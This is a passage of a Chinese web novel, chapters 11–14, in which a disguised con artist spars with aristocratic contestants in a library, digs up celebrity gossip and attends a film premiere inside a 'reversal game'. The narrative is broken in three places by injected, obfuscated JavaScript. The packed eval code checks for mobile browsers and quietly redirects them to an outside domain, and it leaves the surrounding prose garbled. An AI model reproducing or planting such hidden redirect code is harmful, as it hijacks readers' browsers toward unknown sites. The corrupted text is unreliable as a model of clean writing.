她说的也是真心话,只不过是进行了一些合理的包装罢了。 随便一个卖货的都可以叫自己品牌主理人,她会易容,怎么不算一种独立造型师呢? 11. 过敏 第三天,寻夏醒得很早。 或许是因为昨天的运动会她全程旁观,没什么消耗;又或许是因为潜意识里挂念着今晚的放逐选举,总之,八点不到,她就已经穿戴整齐地坐在桌前了。 寻夏今天换了一幅深褐色的美瞳,不画眼影只刷睫毛,妆容的重点放在土棕调的唇色上。她在简单的米色鱼尾裙外搭了一条针织披肩,头上斜戴一顶米色宽檐礼帽,头发盘成低丸子垂在脑后,整个人看起来干净又气质。 既然已经决定未来二十七天的职业是独立造型师了,那每天在造型上还是要稍稍多花一些心思。 造型师的私服搭配可以没有固定的风格,但必须要有态度。她今天的打扮就很符合“有态度”的要求。 寻夏在全身镜前转了个圈,嘴角扬起满意的微笑。 今天的活动预告依旧要等到十点才会发布,上午的时间做些什么好呢? 第一天的集市,第二天的运动会,都在楼下举办。但城堡一共有七层,她打算趁这难得的空闲,探索探索楼上的空间。 寻夏顺着旋转楼梯走到三楼,这个点的城堡几乎是空无一人。漫步在长长的走廊,可以听到城堡外忽远忽近的鸟叫,也可以听到自己平稳的呼吸。 她的杂念渐渐淡去,心开始静下来。 这一层有装修看起来很高雅的琴房,有四面都是镜子的空旷操房,有尚未开门的专业洗衣工作室,还有一间门口写着图书室三个字的房间。 她推开虚掩的隔音门,一股混合着旧纸张、油墨和阳光的温暖气息扑面而来。 图书室三面墙都是顶天立地的书柜,在这个纸质书已经不多见的时代,满满当当的陈列本该让人深切感受到知识的厚重力量。 可惜寻夏不爱看书,她更喜欢图书室的第四面墙。 第四面墙不是墙,是一面巨大的、擦得干干净净的落地窗。阳光毫无阻碍地倾泻进来,空气中飞舞的尘埃都清晰可见。 房间中央面朝落地窗的方向,间隔摆了七八张铺着软垫的躺椅,阳光落在上面,暖洋洋的很是惬意。 寻夏的眼神落在躺椅上不动了,她摸了摸头顶的帽子,帽檐投下的阴影遮住了她的大半张脸。在这里晒一会儿清晨尚且柔弱的暖阳,应该问题不大。 她随手从书架上取下一本书,挑了一张看着最顺眼的躺椅躺下,将书反扣在手边,闭上眼睛打算睡个回笼觉。 但她眼皮还没合拢,门口就响起了脚步声。 是谁和她一样醒这么早?寻夏侧过脸望去。 阳光为她的轮廓镀上一层柔和的金边,皮肤看起来毛茸茸的,又光洁无暇。 塞巴斯蒂安推开门,对上了她的目光。 他穿了一身宫廷风又略带休闲的常服,纯白的丝质衬衫领口微敞,几缕金发滑落其间。老实说,抛开脾气不谈,只从外形上看,他确实他俊美又优雅,像个王子一样。 塞巴斯蒂安没想过会在这里碰到寻夏,眼中有一瞬的不知所措。 “早上好,道格拉斯先生。”寻夏倒是很自然,脸上挂起礼貌的微笑,主动向他打招呼。 又是“道格拉斯先生”。 塞巴斯蒂安琥珀色的眼眸划过暗色。这个称呼得体、合宜,挑不出任何错处,但他却偏偏觉得刺耳。 他想起了初见日晚宴上,寻夏伶牙俐齿的回击,那看似客气,实则挑衅的姿态。那晚之后,他每每听到“道格拉斯先生”的称呼,心中都会升起一股浅淡而莫名的不悦。 塞巴斯蒂安移开目光,向书柜走去,状似无意地开口:“日常生活中,道格拉斯先生的称呼过于正式,叫我塞巴斯蒂安会更合适。” 寻夏挑起了眉毛:“好呀,塞巴斯蒂安。” 他划过书架的手指顿了顿。 “你有晨读的习惯吗?”寻夏坐直了身体,回过头问他。 他是有晨读的习惯,这也是他们家族一贯的规矩。但寻夏怎么会猜到?是向她身边那个本科二年级的栗娜打听的吗? 塞巴斯蒂安感受到她落在自己背上、如有实质的目光,捏住书脊的手指不自觉加了力道。 果然,她就是想接近自己,从那天的晚宴开始,她就一直在试图引起他的注意。这样的把戏,他从小到大见得太多了。 刚走进图书室看到寻夏时,心中那点说不清道不明的情绪,在此刻彻底消散。他心想,就不该让她叫自己“塞巴斯蒂安”。 塞巴斯蒂安于是冷淡地回答:“是的。一日之计在于晨,晨读是开启新的一天的重要仪式,理应怀抱着对知识的敬畏之心,审慎对待。” 他取下一本《生命不可承受之轻与重》,不紧不慢地走到寻夏所在的那张躺椅旁边,视线刻意扫过被她随意扔在一边的那本书。 那是一本杂志,封面用亮色大字写着“天际秘闻录:深扒基因贵族的风流二三事”。 寻夏顺着他的视线看下去,她这才看清自己拿来的是一本什么东西——不愧是她的手,真懂事,随手一拿就是她最想看的。 塞巴斯蒂安皱紧了眉头,声音更冷了:“阅读内容的选择,也需要有计划、有系统,不该是兴之所至的随意翻阅。” “另外,阅读姿势也很重要。可以站、可以坐,但决不能躺。”他眼睁睁看着躺在躺椅上的寻夏翻了个身,“躺着读书,会导致懈怠,很难从中汲取新知。” 从看书的态度到看书的内容再到看书的姿势,把她从头否定到脚,塞巴斯蒂安绝对是故意的。 可这是为什么呢?明明他刚进门让她改称呼的时候,态度还算得上正常。 那就只能是因为她问的那句“晨读的习惯”了。寻夏在心中呵呵冷笑。 塞巴斯蒂安真是个不折不扣的超绝敏感肌,还是过敏原可以列出三大张纸的那种。多看一眼、多问一句都不行,随时随地都有可能突发过敏反应。 寻夏眯了眯眼,非但没起来,甚至还往下一滑,调整到一个更舒服的姿势。 那就让过敏反应爆发得更剧烈一些吧。 她侧躺着,单手支起脑袋,帽檐下的眼睛里盛满了无辜:“可是,我看书只是为了消遣呀。你看书是为了什么呢?”她的声音懒洋洋的,像只晒太阳的猫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536338|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有那么一个瞬间,塞巴斯蒂安忘了眨眼。消遣?在他忙碌而充满意义的人生里,几乎从没有消遣这个词的位置。 “个体的生命短暂而有限,不该在消遣中浪费。”他下意识反击。 “浪费?在你看来,消遣就是浪费时间吗?” “没有目的、没有意义,那就是浪费。” “总是带着‘汲取新知’的目的去看书,不累么?”寻夏叹了口气,话语里是真切的同情,“像你这样规规矩矩的,活得好辛苦。” 塞巴斯蒂安忽然想起很多很多年前的一个下午,他央求妈妈留下来陪他玩积木,但妈妈只是摸了摸他的头,用那双总是带着忧郁的琥珀色眼睛望着他,轻声说:“亲爱的,现在是下午茶时间。道格拉斯家的女主人必须在三点整出现在会客厅,这是规矩。” 那个时候他多大?五岁,还是六岁? 他记不清了。但他记得午后的阳光把她离去的影子拉得很长,长到覆盖了他即将竣工的整座积木城堡。 她走到门口时停顿了一下,塞巴斯蒂安屏住呼吸,以为她是后悔了,下一秒就会回头。但她只是平静地嘱咐:“记得洗手,塞巴斯蒂安。四点整还有礼仪课。” 那个时候,他似乎也萌发过与寻夏类似的想法。他觉得妈妈好辛苦,不是劳作的那种辛苦,而是像上了发条的提线木偶一样,一种茫然又忙碌的辛苦。 卧室里只剩下他一个人,还有那座差一点就要完工的积木城堡。他盯着妈妈消失的门口看了很久,然后轻轻伸出手,把城堡推翻,积木散落一地。 “怎么了?终于意识到自己活得很无聊了?”寻夏苍白的手掌在他面前晃了晃,塞巴斯蒂安回过神来。 寻夏在躺椅上懒洋洋的姿态很晃眼,比她苍白的手掌还要晃眼。可要命的是,他现在居然真的在想,像她这样躺着看书是不是要更舒服一点? “没有,没什么。”他生硬地开口,把手里的《生命不可承受之轻与重》放回书架,转身就要离开。 “诶,你不晨读了?”寻夏喊住他,声音里带了点笑意,“不是说是开启新的一天的重要仪式吗?” 塞巴斯蒂安停住脚步,梅开二度地取出《生命不可承受之轻与重》,去而复返,然后坐在了寻夏边上的那张躺椅上。 “躺椅右手边,往下看,可以调节靠背高度。”寻夏看他也不躺,就脊背挺直地硬生生在那儿坐着,好心提醒道,“你这样容易腰突,还会得颈椎病哦。” 塞巴斯蒂安沉默不语,左手压着书翻开,右手悄悄往躺椅下探去。 他拧动旋钮,躺椅靠背从三十度的倾斜角一路抬高到六十度的倾斜角,然后停了下来。 也没有人规定,身体一定要垂直于地面才能算是“坐”。他现在觉得,六十度也勉强可以划分进“坐”的范畴,只有寻夏的三十度才是毫无疑问的“躺”。 寻夏用余光瞟着塞巴斯蒂安的小动作,正想调侃两句再让他敏感肌大发作过敏一下,但她还没张嘴,门口就又响起了一阵脚步声。 在她好奇抬头的瞬间,临渊站在门口,停下了脚步。 12. 偶遇 临渊的脚步停下得很突然,突然到有些尴尬。 在这里碰到塞巴斯蒂安很正常,但他没想过会在这里碰到寻夏,更没想过会碰到寻夏和塞巴斯蒂安一起,躺在相邻的两张躺椅上相安无事地看书。 这时候继续往里走,他觉得不对;直接转身离开,他觉得更加不对。 但他为什么会觉得不对呢?还没等想明白,他就猝不及防地对上了寻夏的视线。 寻夏倒是镇定自若,在最初一瞬的意外之后,很快便接上了一个粲然的笑。 她的脸大半藏在帽檐投下的阴影中,只露出一个小巧的下巴,在阳光下透出白玉般的温润质感。 临渊一时间有些进退两难。 寻夏将杂志放回腿上,坐直了身体向他打招呼:“早上好,临渊长官。” 塞巴斯蒂安看书确实很认真,一直到寻夏出声,他才后知后觉地意识到图书室中多了一个人。 他不自觉拧起了眉头。 “临渊长官也是来晨读的吗?”寻夏看到临渊停在门口不知所措的样子,自然地给他递了个台阶。 听到这句话,塞巴斯蒂安的眉头却拧得更紧了。 他的第一反应是疑惑,寻夏为什么不叫临渊监察官,而要叫他“临渊长官”?听她言语间的松弛状态与隐隐的亲近,她和那位教廷的临渊似乎在游戏外是旧识。 然后,他的思绪没由来地跳跃到了“晨读”两个字上。 原来寻夏那句“你有晨读的习惯吗”,不是只会问他一个人。 塞巴斯蒂安有些后悔刚才对她的冷淡和针对,是他先入为主,把她当成了那种一门心思想要接近他的女人。但现在看来,寻夏或许只是随口一问而已。 “不是,”临渊接过寻夏的话头,迈步走了进来,“这里存放了我需要的资料。” “是什么资料没有电子版,还需要来这里翻箱倒柜?”寻夏不相信,随口调笑。 临渊背对着她,眼神一凛。她不应该说这句话的。 “你大学学的是什么专业?”塞巴斯蒂安忽然开口,抛出一个没头没尾的问题。但他又皱着眉头,语气认真,不像是没话找话要和寻夏闲聊的样子。 寻夏脑海中那根被太阳晒得懒洋洋的弦,倏地收紧了。她好像说错话了。 她脸上还维持着轻松的笑容,但有句古老的鸡汤说得好,你必须非常努力,才能看起来毫不费力。 她现在就陷入了这样一个表面岁月静好,大脑负重前行的境地。 她的大脑被迫高速运转,一边猜测刚刚是哪里出了差错,一边疯狂思考该如何回答塞巴斯蒂安的问题,一边还忍不住暗骂这群天际城的人上人为什么都默认是个人就应该上过大学。 寻夏缓慢地将脸转回塞巴斯蒂安的方向,在短暂又漫长的两秒钟之后,给出了她的回答。 “我是艺术生,学的设计。” 塞巴斯蒂安会莫名其妙问那么一句话,大概率不是真的好奇她的专业,而是在怀疑她没上过大学。 她不能承认她没上过大学,因为没上过大学的青春听起来不是很美好,而这种“不美好”往往让人联想到同样不太美好的下城二等民。 在逆位游戏这种敏感的环境中,她最好不要主动给自己贴上“不美好”的标签。 听到她的回答,塞巴斯蒂安紧拧的眉头松开了一点,眼神里质疑的意味也淡去了一点。 “原来你是艺术生。”他微微颔首,然后低下头翻了一页书,像是在宣告这个话题的翻篇。 寻夏脸上假面似的笑容真切了几分。 艺术生嘛,确实是上过大学,但又不像塞巴斯蒂安这种文化生上得那么充分。艺术生偶尔文盲一下,也是可以理解的。 而设计又有很多不同的细分方向,既能和她的“职业”造型师扯上关系,又给她留下了充足的发挥空间。 看来她灵机一动的这套说辞,效果还不错。 但临渊的面色更沉了。他站在书柜前没有动,敛眸沉思。 寻夏和塞巴斯蒂安还不知道下午的活动,可他是知道的。寻夏在塞巴斯蒂安面前给自己编这么一个专业,很可能会是个隐患。 “对了,”塞巴斯蒂安忽然又重新抬起头,“我的专业是旧世界西方美术史,有机会的话,我们或许可以探讨一番。” 寻夏的笑容僵在脸上,她正想硬着头皮应一句“好啊”,却被临渊打断了。 临渊转过身,轻咳一声:“为了维护游戏的公平性,监察委员会不鼓励大家过多透露个人信息。” 塞巴斯蒂安一怔,琥珀色的眸子冷下来:“监察官的意思是,我破坏了游戏的公平性?” “在我面前,最好是谨言慎行。”临渊的语气淡淡的,却又透着不容置疑的味道。 寻夏不自觉屏住了呼吸,视线在两人之间来回游走。 塞巴斯蒂安轻笑:“可是我的个人信息,众人皆知。这就是监察官所说的,游戏的‘公平性’吗?” “众人皆知的人为什么还要来参加游戏,我想你我都心知肚明。”临渊眯了眯眼,缓缓掷出六个字,“至高纲领在上。” 好精彩,好有火药味。寻夏想着,转头去看塞巴斯蒂安的反应。 “好。”塞巴斯蒂安克制着怒气,合上书,发出啪的一声轻响,“至高纲领在上。” 他起身,与临渊擦肩而过,大步离开了图书室,衬衫的缎带被风卷起,在身侧飞扬。 寻夏收回视线,托着下巴,笑眯眯地盯着临渊。临渊一直等塞巴斯蒂安的身影消失在走廊尽头,才回头与她对视。 临渊的喉结动了动,像是在犹豫,但最终还是开了口:“谨言慎行。” 寻夏明白,他刚刚说这四个字,一方面是在向塞巴斯蒂安施压,另一方面也是在隐晦地给她提示。 “所以在天际城,资料没有电子版是一件很正常的事,对吗?”她问。 临渊点头:“天际城的科技水平发展很快,现在学界与政界普遍认为网络并不安全。数据可以被加密,也同样可以被窃取、篡改、抹除。所以,大多数相对重要的原始资料,都不会有电子版,只有纸质存档。” 原来是这样。 下城的网络上盗版满天飞,想要的几乎都能在网上找到。她于是想当然地认为,天际城的科技更发达,网上的资源只会更丰富。没想到人家已经返璞归真,回到了淳朴的纸制印刷品时代。 她大意了。 “谢谢临渊长官。”寻夏从善如流地道谢,却不说谢他什么。 是谢他为她科普天际城常识,还是谢他帮忙截断了塞巴斯蒂安的试探?她不会解释的,让临渊自己琢磨去吧。 她上次从临渊办公室离开的时候就说,她赌临渊还会帮她。果然,她又赌赢了一次。 临渊的目光掠过她的笑脸,他觉得她现在面对自己的笑容,比之前面对塞巴斯蒂安的时候要真诚多了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536339|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再多说什么,低头从书柜中取出那几份他想要的文件,便转身离开了图书室。 阳光依旧温暖,图书室里的人员增增减减,又回到最初的模样,只剩下寻夏一人。她重新舒服地躺回椅子里,顺手拿起那本被冷落许久的《天际秘闻录》,百无聊赖地翻了一页。 “劲爆!道格拉斯家族与统一进化教廷不为人知的秘密关系!”下一页,加粗的红色版头让她瞪大了眼睛。 早说这杂志里写的是这种东西,她可就不困了。 寻夏仔细阅读这一页的内容。小编的行文故弄玄虚,吊足了胃口,写到最后才神神秘秘地揭露所谓的“秘密关系”:道格拉斯家族是合议庭基因贵族中,少数明确与统一进化教廷深度捆绑的家族,双方在政坛上互相扶持又互相掣肘,维持了数十年的同盟关系。 寻夏了然。 怪不得像拉蒙那样的基因贵族在教廷面前依旧嚣张跋扈,但塞巴斯蒂安虽然不满,最终还是会克制地说出一句“至高纲领在上”。 她又津津有味地往后翻了几页,一连串诸如“林家家主疑似十年前就被仿生人替换!”“夫人带球跑奔真爱,史密斯公爵追妻火葬场!”之类的八卦平滑地进入大脑,瞬间抚平了她的大脑皮层褶皱。 不一样的书,能带给人不一样的阅读体验,她现在要收回自己不爱看书这个观点。 如果是看《生命不可承受之轻与重》的话,时间一定过得很慢;但看《天际秘闻录》就不一样了,此刻的时间就像握在手中的沙,一不小心就消失得一干二净。 不知道过了多久,寻夏手边的终端轻轻震动,响起了提示音。 她点开屏幕,刚好是上午十点整,一条新邮件提示弹了出来。 【《时尚先生》首映发布会】 「今日活动预告:《时尚先生》首映发布会 活动时间:14:00-17:00 活动地点:梅尔森城堡一楼星海礼堂 今天下午,《时尚先生》的主创团队将会来到梅尔森城堡,与各位共同见证这部作品的首次公开亮相。在两个小时的观影之后,各位可以与主创团队面对面交流,主演塞缪尔·克罗也会出现在现场! 红毯、灯光已就位,期待四小时后与你的见面!」 昨天是运动会,今天是电影首映礼,这逆位游戏还真是文体两开花啊。 寻夏略带不舍地把《天际秘闻录》插回书柜,拿着终端下了楼。 一楼大厅在平时都是自助餐厅,每天按时提供早中晚三餐。现在早餐时间刚刚结束,长桌旁还有不少人在慢悠悠地用餐,正好今日活动预告发布了,人群间的议论声渐渐响了起来。 “真的吗?塞缪尔也会来?” “当然是真的啊!都发邮件了,还能是假的吗?” “天呐!他可是‘新世界的最后一块璞玉’啊!” “我想多向他要几张签名照,等出去了挂到网上拍卖。” “就我对明星不感冒吗?” “我也无感,娱乐圈不就是些戏子,搞不懂有什么好追捧的。” 寻夏对娱乐圈的关注也不多,但塞缪尔·克罗的名字她还是听过的。 在快节奏的娱乐圈,每个月都会新的“顶流”出现,而塞缪尔却是顶流中的常青树,任人来人往他自岿然不动,连续数年在“四大顶流”中占据一席之地。 栗娜也坐在桌边,手中的终端上赫然显示着塞缪尔的俊脸。 13. 八卦 寻夏提起裙子,踮着脚静悄悄走到栗娜身后,屏住呼吸,看准时机,猛地一拍她的肩膀。 “嘿!” 栗娜浑身一震,手忙脚乱地把终端倒扣在桌面上,匆忙回头。 “哎呀,你吓死我了!”见到来的人是寻夏,她大大地松了一口气。 “怎么了,终端里有我不能看的秘密?” “嘘——”栗娜的眼珠往四周滴溜溜转了一圈,确认没有人注意到她们这边的动静,这才神神秘秘地开口,“你知道‘新世界的最后一块璞玉’这个说法吗?” 寻夏拉开她身旁的椅子坐下,点点头:“刚刚过来的路上听到了,是在说塞缪尔·克罗吧?” “没错!但我有时候真的觉得互联网没有记忆,我记得这个说法在最早可是黑称,现在居然都被净化成他粉丝的控评词了!” “黑称?”寻夏不了解这个词,但她问得很谨慎,很克制,生怕又在无意中暴露自己不该有的知识盲区。 “你还真是不爱上网啊!”栗娜感叹,但只是感叹而已,没有半点别的意思。 寻夏于是放下心来,在她好奇又饶有兴致的目光中,栗娜向她解释道:“黑称就是那种不好的称呼,可以理解为爱称的反义词?” “原来是这样。”寻夏作出恍然大悟的样子,但又觉得奇怪,“可是‘新世界的最后一块璞玉’听起来还挺美好的呀,为什么会是黑称呢?” “这你就不知道了!”栗娜的嗓音压得更低了,“其实一开始,这是塞缪尔的黑粉说出来讽刺他的!” “塞缪尔不是总宣传自己是纯天然帅哥吗?但黑粉不信,所以就用‘新世界的最后一块璞玉’这种说法来阴阳他!” 璞玉,就是未经琢磨的玉石。而在这个时代,通过科技手段对脸蛋、身材进行“琢磨”,已经是一件很普遍的事,就和减肥、健身一样平平无奇。 多数明星都不会避讳承认整容微调,甚至还会大方和粉丝分享自己最近新做的项目。 但塞缪尔不一样。 栗娜重新打开终端,退出大图,屏幕上塞缪尔放大的俊脸消失,露出一行加粗的标题:顶级原生神颜,二十五年零科技添加!入股不亏! “你看看,”栗娜的手指在屏幕上点来点去,“这篇、这篇、还有这篇,一看就是他们团队自己发的通稿。” 寻夏凑过去看,一连串通稿的标题各不相同,但无一例外都出现了“原生”两个字。 “我看塞缪尔就差没把‘纯天然帅哥’几个字纹在自己脑门上了!”栗娜用力蛐蛐道。 寻夏露出一个神秘的微笑:“我知道了。” “知道什么?” “你是塞缪尔的黑粉。”她伸出食指抵着栗娜的肩膀,玩笑道。 栗娜连连摆手:“那倒算不上,我不混圈。我只是不喜欢他那副众人皆醉我独醒,众人皆黑我独白的样子。” “什么叫‘唯一的璞玉’呀?不管他是不是原生脸,他要拉踩别人的脸,那就是他的不对!” “我同意。”寻夏支持,“谁比谁高贵。” 栗娜点头如捣蒜:“就是就是。” 寻夏在心中再一次感叹,她真的太喜欢栗娜这种热情开朗的活泼大漏勺了,她投之以几个字,栗娜就会报之以源源不断的八卦故事。 八卦故事能够带来大量的新信息。对普通人来说,信息或许只是左耳进右耳出的消遣;但对欺诈师来说,信息也可以是一种致命的武器。 栗娜上楼回房间补觉,寻夏打开终端,开始全网搜索塞缪尔各个时期的照片。 他十八岁出道,那个时期留下的照片不多,但也可以看得出来,他脸上带着未褪尽的婴儿肥,面部轮廓柔和,眼神清澈,倒还真符合“璞玉”的形容。 但如今的塞缪尔,已经褪去了当时的稚嫩,脸部线条变得利落分明,下颌线清晰得像是被刀削过,五官也分外深邃立体,比长得像雕塑的临渊还要标致。 粉丝们对此的解释是:“哥哥只是减肥了,瘦了,健身紧致了!”他们将塞缪尔的变化归功于严格的身材管理和自律。但也有一些人一口咬定,他整了,他绝对就是整了。 评论区越是腥风血雨,这场争论就越是没有答案。比起相信网络上的众说纷纭,寻夏更愿意相信自己的眼睛。 她保存了几张塞缪尔早期和现在的照片,挑了尽量相似的角度,在终端屏幕上左右分栏显示。 早期的照片里,塞缪尔笑起来只会露出六颗牙齿,有些笑不开。而且他笑的时候,鼻翼两侧会有一左一右两道向外撇的纹路。 而现在,他笑起来还是只露出六颗牙齿,但鼻翼两侧的八字形纹路却消失了。 粉丝说,这是因为哥哥爱练背,练背可以让脸上的皮肉向上收紧,法令纹自然就减淡了。 但寻夏做欺诈师这么多年,为了完美伪装成不同的人,她研究骨骼形态、肌肉走向,亲手“捏造”过无数张脸。她对人脸的骨骼发育与皮肉表现,恐怕比专业的整形医师还要熟悉。 一般人看到这似是而非的对比照,也说不出个所以然,可她却能一眼看出问题。 塞缪尔笑不开,笑起来刚好只露出六颗牙,是因为他的牙弓天生狭窄;而他笑起来鼻翼有纹路,则是因为鼻基底的轻微凹陷。这是骨相决定的,与皮肉是否紧致关系不大。 牙弓发育不完全,必然会带来鼻基底凹陷,二者属于共生的连锁反应。 可看塞缪尔现在的照片,他笑起来仍然只露出六颗牙,这意味着他的牙弓宽度没有经过矫正,和刚出道时是一致的。但他鼻翼两侧因为鼻基底凹陷形成的纹路却消失了。 而且,从侧面看,他的脸型也从直面型,变成了微凸的凸面型。 狭窄的牙弓就像贫瘠的土壤,是无法天然生长出饱满的鼻基底的。他的牙弓始终如一,那么他现在的鼻基底,就必然是假的。 别的地方都不用看,只凭鼻基底这一处,塞缪尔就可以被开除纯天然原生脸籍了。 “哎哟,我说这位寻夏小姐,你不会也是塞缪尔的粉丝吧?”熟悉的男声突然在耳边响起,语气是一如既往的欠揍。 寻夏半点没被吓到,她的余光早就看到有一道嚣张的身影在往这个方向来了。 她礼貌假笑,转过脸与拉蒙对视:“早上好,霍华德少爷。” 拉蒙没料到她是这个反应,对上她水盈盈的双眼,喉结不自觉滚了滚。 “你少阴阳怪气地叫我霍华德少爷。”他硬邦邦地说。 “是你先阴阳怪气的哦,霍华德少爷。” “你能不能不叫我少爷?!” “好啊,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536340|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙少爷。” 寻夏眨眨眼,拉蒙用力闭了闭眼,决定换个话题主场作战。 “……我是想说,你就别想着打塞缪尔这人的主意了。”拉蒙扯着嘴角,黑曜石舌钉在说话时若隐若现,“他上赶着给那个姓史密斯的女人做狗呢。” 哇哦,好刺激。 寻夏挑起眉毛:“你是说,史密斯公爵的夫人?” “你还挺聪明的嘛。”拉蒙哼了一声,“塞缪尔那家伙为了攀上史密斯的关系,费尽心思打扮成那个女人初恋的样子,他那群粉丝妹妹给他送的礼物,他全拿去送给姓史密斯的。” “啊?真没想到他是这样的人。”寻夏适时地露出先是惊讶后是嫌恶的复杂神情。 拉蒙忽地凑近,额头几乎要与寻夏相碰,漆黑的双眸被寻夏的身影填满。 他压着嗓子吐出几个字:“真不知道你喜欢他什么。” 他说完起身就走,笑得张扬又恶劣。 寻夏毫不在意地拿手背蹭了蹭额头,她也懒得多解释什么。这次暂且在嘴上放过拉蒙一马,就当感谢拉蒙送来的大八卦了。 真是没想到,“夫人带球跑奔真爱,史密斯公爵追妻火葬场”这出戏里,还有塞缪尔来扮演白月光替身的角色。 她就说搜集八卦有用吧,爱看八卦的女人运气不会太差,故事这不就串起来了。 寻夏放下终端,抬头看向一楼走廊尽头的星海礼堂。 她推开星海礼堂的实木大门时,终端屏幕上显示的时间正好从一点五十九跳到两点。 临渊和主创团队坐在第一排,只露出高低错落的一排后脑勺供大家观看。寻夏认出来,正中间的那颗脑袋是塞缪尔的,他仍然留着那头标志性的棕色卷毛短发。 栗娜在自己身旁帮寻夏留了座位,她捋着裙摆在柔软的座椅上坐下。 主持人在简单的开场过后,宣布首映观影正式开始。穹顶的大灯渐渐暗下来,身侧的交谈也渐渐平息,所有人的目光都汇聚到了正前方的大银幕上。 四个大字显现出来——《时尚先生》。 寻夏在黑暗中撇了撇嘴角,她觉得这个电影名字起得着实是不太时尚。 影片的开场,是塞缪尔扮演的主角,一位名叫亚历山大的应届毕业生,抱着一摞厚厚的时尚杂志,怯生生地站在一家顶级设计工作室的门外。 塞缪尔的脸在特写镜头中被放得很大。他顶着一头凌乱的卷毛,但额前恰到好处地垂下一缕弯弯的碎发;他脸上点了雀斑,位置又刚好能修饰他偏长的中庭——看起来是想扮丑,但又不想让自己真丑。 “我、我是来应聘初级造型设计师这个岗位的。”银幕上的亚历山大结结巴巴地介绍自己,银幕外的栗娜兴奋地一拍寻夏的肩膀。 “诶!主角也是干造型师的!”她用气声和寻夏耳语。 寻夏皮笑肉不笑地点了点头。 又是“造型”,又是“设计”,这未免也太巧了,刚好对应她在栗娜面前编的职业,还有在塞巴斯蒂安面前编的专业。 她想起了临渊早上在图书室里对她说的那一句,“谨言慎行”。他是不是当时就知道今天下午的影片内容了? 寻夏似有所感地转头,对上了坐在右前方的塞巴斯蒂安投来的一瞥。 她的心中升起了一丝隐隐的不安。 14. 首映礼 两个小时的影片,讲述了亚历山大从新人菜鸟到一代大师的蜕变历程。 说实话,故事很老套。看到主角抱着一摞杂志小步快跑,就知道他下一秒要摔跤;看到影片开头的毒舌上司,就知道她会在后期成为点拨主角的贵人。 只有最后一幕,出乎寻夏的意料。 影片最后,年迈的亚历山大站在舞台中央,他过去的无数杰作在身后走马灯般播放。 他平静地说:“我这一生,都在寻找美。” 然后,聚光灯骤然熄灭,银幕内外同时陷入黑暗,影片就这样戛然而止,只剩下余音在耳边回荡。 “结束了诶。你觉得怎么样?”一片漆黑中,栗娜在寻夏耳边轻声发问。 “有点老套。”寻夏保守地答道。 栗娜点头,然后又凑近了几分:“那你觉得,塞缪尔怎么样?” “是演的怎么样,还是——长的怎么样?”寻夏弯起眼睛,拖着话音反问。 “嘿嘿……”栗娜搓搓手,不明说,眼中八卦的小火苗熊熊燃烧。 寻夏知道她想听什么,却故意吊她胃口:“无功无过吧?现在影视制作技术这么发达,表情、眼神、动作都可以后期调整,真的不太好判断呢。” “哎呀,哎呀!不是演技啦,是另外那个,你懂得!”栗娜着急地戳了戳她的手臂,又不想大声直说,只好在黑暗中一通挤眉弄眼。 不过寻夏还没来得及回答,穹顶的灯光就唰地点亮了。 她转头看回前方,主持人重新登场,笑容可掬。原本坐了将近十个人的第一排空了,只剩下坐在最左侧的临渊一个人。 他斜靠在椅背上,单手撑着下巴,没有抬眼,不知道在想些什么。 主持人依次介绍跟在他身后上场的主创团队嘉宾,导演、副导演、制片人、编剧等等一系列顶着光鲜亮丽名号的人物向台下挥手问好。 除了塞缪尔。 塞缪尔没有留在第一排,也没有出现在台上。 观众席中,有一些人在好奇塞缪尔去了哪儿,比如栗娜,没有理会台上人的招呼;有一些人看完电影已经昏昏欲睡,比如拉蒙,懒得理会台上人的招呼;还有一些人怀着心事,比如寻夏,更无心理会台上人的招呼。 掌声稀稀拉拉,但好在在礼堂两侧,还有影片团队安排的媒体记者们。此刻长枪短炮交错,闪光灯此起彼伏,不对准台下,只对准台上,每一台摄影机都抱着必出神图的决心。 例行公事的寒暄过后,主持人将话筒瞄准了导演:“李导,我们都知道,《时尚先生》能在逆位游戏的现场进行首映,无论对影片本身,还是对我们的游戏参与者来说,都是一次非常特别的经历。我很好奇,您为什么会选择将首映放在这里呢?” 那位被称为李导的中年男人抖了抖垂到他膝盖的针织长外套,又推了推没有镜片的黑框眼镜,这才接过话筒。 “《时尚先生》,它不仅仅是一部关于时尚行业的电影。它更深的层次,是关于人的欲望、关于灵魂的成长,也关于我们永恒追求的美。” “而逆位游戏是一个很特殊的场合,它承载了来自下城的欲望,承载了参与者的成长,也承载了美。” 李导的语速缓慢,语调抑扬顿挫,像是在诗朗诵。他念出“欲望”两个字时,带着一种暧昧的、仿佛洞悉人性幽微的腔调。 寻夏在心里翻了个巨大的白眼。 